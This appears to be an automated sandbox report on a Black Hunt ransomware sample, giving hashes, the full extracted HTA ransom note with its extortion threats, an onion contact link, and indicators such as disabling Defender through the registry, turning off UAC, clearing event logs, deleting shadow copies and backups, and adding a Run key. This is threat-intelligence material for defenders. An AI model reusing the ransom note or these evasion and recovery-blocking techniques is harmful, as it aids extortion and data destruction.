7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:51

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General

Target

7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Size

707KB
MD5

d215e3702125c47834e2d3f4f61bf5e4
SHA1

a1f269fb1aca70ad28fa02f17ce63a303e03a8f4
SHA256

7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec
SHA512

ac7475cb2fbeaa9dc4a2a8c6e378da72e6dd78b4538adbed6f888ddb954f6bccd41f8150293bc77d7088140b501f34cec9863c58d6e1f6efcd73ccab9ba95407
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1I82vnh:6uaTmkZJ+naie5OTamgEoKxLWjIh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> SmoEOPUSJFoyRs1L </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1672	fsutil.exe
1208	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	vssvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	vssvc.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1512	wevtutil.exe
3596	wevtutil.exe
5420	wevtutil.exe
2632	wevtutil.exe
3864	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2948	bcdedit.exe
1276	bcdedit.exe
2760	bcdedit.exe
3036	bcdedit.exe

Renames multiple (2875) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
564	wbadmin.exe
908	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
5620	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\N:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\T:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\A:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\W:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\H:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\K:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\J:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\L:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\Z:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\P:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\S:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\G:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\B:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\R:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\Y:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\V:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\O:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\I:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\M:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\Q:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\U:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\vistabg.png	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\GMT	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.felix.gogo.runtime_0.10.0.v201209301036.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tl\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-bootstrap.xml	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\title.htm	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-attach.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Lagos	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-modules-appui_ja.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Jamaica	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\contbig.gif	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
